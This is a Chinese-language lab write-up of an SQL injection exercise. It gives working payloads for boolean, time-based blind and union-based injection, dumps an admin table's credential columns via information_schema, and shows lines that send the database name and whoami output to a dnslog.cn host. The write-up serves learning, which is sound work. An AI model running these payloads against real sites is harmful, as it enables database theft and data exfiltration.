x010

x010

厚积薄发

sql注入write up

靶场篇#

点开页面很明显可以发现一个注入点
image.png
通过对其进行测试拼接 and 1=1 发现页面可以正常显示,并且当 and 1=2 时发现页面异常
判断可能是数字型
数字型可以不需要引号闭合,字符型构造的时候需要注意进行引号的闭合
image.png
order by 3 页面报错可以得出当前数据库存在两列,同时发现数据库无回显
and if(exists(select * from information_schema.tables limit 1),sleep(10),1)--
通过使用 if 判断加上 exists 函数来查询是否存在 information_schema.tables 这个表
如果存在会延迟 10 秒
如果不存在会返回数值 1,这个 1 在 if 判断中代表为真,不会影响结果
简单来说就是如果存在 information_schema.tables 这个表那么就会延迟 10 秒,不存在页面会正常执行不会延迟
image.png

在执行 linux 系统中执行 ping whoami.i0f4xk.dnslog.cn 因为 whoami 被反引号包裹,所以会先执行
whoami 命令,同理 ping $(whoami).i0f4xk.dnslog.cn 和上述代码作用相同
但是如果直接在 dns 前添加 whoami 则并不会输出命令
同理在 windos 中,使用 ping % username%..i0f4xk.dnslog.cn 也可以执行命令 g

本人对 dns 泛解析原理还处于似懂非懂,希望有大佬可以详解 dns 外带原理。

?id=1 union select 1,load_file(concat("\\",(select database()),".eoumbx.dnslog.cn\abc")) --+
页面正常但是 dnslog 外带失败

发现 dnslog 无法进行外带,这时候陷入僵突然发现在?id=1 and 1=2 union select 1,2 中竟然有回显顿时豁然开朗 (星际玩家表示很难发现。。。。)
image.png那么直接就?id=1 and 1=2 union select 1,database () 查询到当前表名为 maoshe
?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()

information_schema 是一种特殊的数据库,它在 SQL 标准中定义,用于存储数据库的元数据,包括数据库、表、列、约束、权限等的信息。

table_schema 为 information_schema.tables 中查询数据库表名函数
columns_name 为 information_schema.columns 中查询数据库列名的函数

image.png
?id=1 and 1=2 union select 5,column_name from information_schema.columns where table_schema =database () and table_name ="admin" limit 0,1 通过参数偏移查询到 admin 表单中有 id,username 和 password 列

通过查询 information_schema.columns 中的 column_name 列可以反馈 admin 表的列名
当查询表单的名称与当前表单名称相同时,使用 and 进行并操作,table_name= "admin" 也就是上一步查询的 admin 才显示
limit 参数用来进行对结果进行偏移,因为回显只有一个,需要通过 limit x,y 进行调节
从第 x 个开始输出 y 个

image.png
知道了表名和列名输出数据就十分容易了

通过网上信息搜索发现可以利用 group_concat()函数进行数据的大量输出
例如,?id=1 and 1=2 union select 5,group_concat (table_name) from information_schema.tables 可以输出 table_name 的所有数据image.png
?id=1 and 1=2 union select 5,group_concat(column_name) from information_schema.columns where table_name ='xss'
image.png

接下来简单说一下 sql 注入思路吧

1. 需要找到注入点
2. 进行判断,判断是字符型还是数字型,字符型需要进行适当的引号闭合,数字型不需要
3. 通过 orde by 对字段数进行判断(方便后续对回显点利用)
4. 通过联合报错查询对回显点进行判断(如果无回显就只能进行盲注了)
5. 通过 information_schema.tables 的 table_name 查询表名(可以利用 limit 进行单个查询也可以使用 group_concat 查询)
6. 通过 information_schema.columns 的 cloumn_name 查询列名

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。